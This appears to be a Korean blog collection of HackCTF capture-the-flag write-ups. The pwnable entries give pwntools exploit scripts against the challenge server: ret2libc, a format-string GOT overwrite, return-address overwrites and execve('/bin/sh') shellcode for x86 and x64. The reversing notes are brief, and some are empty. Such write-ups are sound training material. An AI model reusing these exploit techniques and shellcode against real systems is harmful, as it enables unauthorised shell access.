반응형
반응형
반응형

32bit ELF

 

 

rtl로 푼다.

 

IDA를 이용해 system()의 주소와 "/bin/sh"의 주소를 쉽게 구할 수 있다.

 

 

system()

 

 

"/bin/sh"

"/bin/sh"는 main함수에 있는 "/bin/sh"을 따라가면 된다.

 

 

 

 

main 함수

5번에서 bof가 일어난다.

 

buf의 위치는 bp-8C이다.

0x8C = 140

 

payload = dummy[140] +dummy sfp[4] + system() + dummy[4] + binsh

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3010)
 
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
 
binsh = 0x08048EB1
system = 0x080485B0
 
payload = "A"*144
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
 
p.sendline(payload)
 
p.interactive()
 
cs

 

nc 접속 > 5 입력 > payload 입력 > 쉘 획득!

반응형
반응형

32bit ELF

 

 

 

두 개의 함수가 있다.

 

FSB

 

flag() = 0x080485B4 = 134514100

 

 

printf의 got를 flag()로 overwrite 한다.

 

payload = printf_got(덮을 위치) + %(flag()-4)x + %n

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3002)
= ELF('./basic_fsb')
 
printf_got = e.got['printf']
 
p.recvuntil(": ")
 
payload = p32(printf_got)
payload += "%134514096x%n"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit ELF FILE이다.

 

 

3개의 함수가 존재한다.

 

main함수

 

welcome함수. bof가 발생하는 함수다.

v1의 위치는 bp-12h이다. ret을 덮기 위해 dummy 22바이트가 필요함을 기억해둔다.

 

 

 

플래그를 출력해주는 함수

 

welcome함수에서 welcome함수의 주소를 출력해준다.

해당 함수의 주소를 기준으로 j0n9hyun함수의 주소를 구해서 ret을 덮어주면 된다.

 

welcome offset 0x909
j0n9hyun offset 0x890

0x909 - 0x890 = 0x79

welcome()의 주소 - 0x79 = j0n9hyun()의 주소

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3008)
 
p.recvline()
 
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
print hex(welcome)
 
 
payload = "A" * (22)
 
payload += p32(welcome-0x79)
 
p.sendline(payload)
 
p.interactive()
 
cs
반응형
반응형

32bit ELF 파일이다.

 

main함수로 ㄱㄱ

 

 

 

gets함수로 s에 길이 제한 없이 입력을 받는다.

그리고 select_func의 인자로 넘긴다.

 

select_func을 보자

 

아까 받은 인자가 src이다.

 

src 에서 dest로 31바이트만큼 복사한다.

 

dest가 one이면 one함수를, 아니면 two함수를 실행한다.

 

v3에 저장된 함수를 call한다.

 

 

위에서 31바이트만큼 복사를 하는데,

 

dest는 bp-2Ah에 있고, v3는 bp-Ch에 있고,

 

2A-C = 30이다.

 

그러면 v3의 1바이트만을 덮을 수 있다.

 

 

two함수의 offset은 0x6AD이고, flag를 출력해주는 print_flag의 offset은 0x6D8이다.

 

입력값이 one이 아니라면 v3에 0x6AD가 들어갈 것이고 1바이트를 \xD8로 덮어준다면 0x6D8이 되어서 해당 함수가 실행되고 flag가 출력된다.

 

payload = 더미(30) + "\xd8"

 

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3007)
 
p.recvline()
 
payload = "A" * (30)
payload += "\xd8"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit ELF File이다.

 

main함수로 ㄱㄱ

 

 

데이터를 입력받고, 입력받은 곳의 주소를 출력해준다. 그리고 y를 보내주면 루프를 반복시킬 수 있다.

 

더미 데이터를 보내서 주소값을 얻어내고, 쉘코드 + 더미 + 얻은 주소값(ret)를 보내주면 쉘을 딸 수 있다.

 

s와 ret사이 거리는 0x88 + 0x4 = 136+4 = 140이다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3006)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" #25
p.recvuntil(": ")
p.sendline("1")
buf = int(p.recv(10), 16)
print hex(buf)
p.sendline("y")
 
payload = shellcode
payload += "A" * (140-25)
payload += p32(buf)
 
p.sendline(payload)
 
p.interactive()
 
cs

1을 보내주어서 버퍼 주소값을 구한다.

y 입력으로 루프를 한 번더 진행시킨다.

쉘코드를 넣고 리턴주소를 덮어준다.

 

interactive()모드에서 n을 입력해주어 루프를 벗어난다.

쉘을 딴다.

 

반응형
반응형

64bit ELF FILE이다.

 

main함수를 보자.

 

buffer의 주소를 출력해 준다.

 

buffer에 64bit용 shellcode을 올려주고 리턴주소를 buffer의 주소로 덮어주면 된다.

 

0x6D30 = 27952(10)

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3005)
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #x64
p.recvuntil(": ")
buf = int(p.recv(14), 16)
print hex(buf)
 
payload = shellcode
payload += "A" * (27960-23)
payload += p64(buf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

64bit elf다.

 

바로 main함수를 보자

 

 

입력제한 없이 입력을 받는다. ret주소를 callMeMaybe()함수의 주소로 덮으면 된다.

 

 

함수 주소 : 0x400641

 

110h = 272, 272+8(sfp) =280

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3004)
 
shellf = 0x400606
sleep(1)
 
payload = "A" * 280
payload += p64(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit elf파일이 주어진다.

 

이번에는 shell함수를 주지는 않는다.

 

main함수를 보자.

 

간단하다

name에 50바이트만큼 입력을 받고, s에 gets()로 길이 제한없이 입력을 받는다.

s는 bp-14h에 존재한다.

 

 

 

&name을 더블클릭하면 나온다.

name이 어디에 있는가 보니, bss영역에 존재했다.

 

name에 쉘코드를 올려두고, ret주소를 0x0804A060로 덮어주면 된다.

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3003)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
bss = 0x0804A060
p.recvuntil(": ")
p.sendline(shellcode)
 
p.recvuntil(": ")
 
payload = "A" * 24
payload += p32(bss)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32 bit elf 파일이 주어진다.

 

IDA로 까보자.

헥스레이로 봤을 때 나만 그런건지 더럽게 나오길레 그냥 어셈코드를 봤다.

 

 

 

1. ebp+var_C 에 sup()함수의 주소를 저장한다.

2. ebp+s에 0x85만큼 입력을 받는다.

3. call [ebp+var_C]

 

여기서 ebp+var_C = ebp - 0x0c이고

ebp+s = ebp - 0x8c 이다. 둘 사이간의 거리는 0x80이다.

 

정리하면,

 

낮은주소  ebp-0x8c   <---- 0x80 ----> ebp-0x8c 높은주소

             -------------------------------0x85------>

 

바이너리에서 shell함수를 제공해준다. call을 하는 ebp-0x8c의 값을 shell함수의 주소로 덮어주면 된다,

 

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3001)
 
shellf = 0x0804849b
sleep(1)
 
payload = "A" * 128
payload += p32(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

Welcome_REV

50

 

32비트 elf파일인데 ida로 까보면 입력값 확인하는 함수를 확인할 수 있고, 함수 내부에 strncmp로 비교하게 되는 base64 문자열을 확인할 수 있다. 그대로 가져와서 디코딩하면 플래그가 바로 나온다.

 

 

 

 

Reversing Me

100

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int main() {
    int i;
    char *serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}";
    char enter[54];
    printf("키를 입력하시게 : ");
    scanf("%s", enter);
    if (strlen(enter) == strlen(serial)) {
        for (i = 0; i < strlen(serial) && (enter[i] ^ (i % 2)) == serial[i]; i++);
        if (i - 1 == strlen(enter))
            printf("정답일세!\n");
    }
    else
        printf("그건 아닐세...\n");
        exit(0);
}
cs

 

enter[i] ^ (i%2) == serial[i] 이어야한다.

 

xor연산은 한 번 더 해주면 원래대로 돌아간다.

 

enter[i] == serial[i] ^ (i%2)

 

파이썬으로 코드를 짜서 플래그를 얻었다.

 

1
2
3
4
5
6
serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}"
flag = ""
for i in range(len(serial)):
  flag1 =ord(serial[i]) ^ (i % 2)
  flag += chr(flag1)
print(flag)
cs

 

 

Handray

100

음..

수상해보이는 부분 공략

string[i] 이랑 array[i]를 더하나봄

 

 

Strncmp

150

 

 

Keygen

200

 

 

Static

250

 

 

BabyMIPS

400

 

xor

반응형

+ Recent posts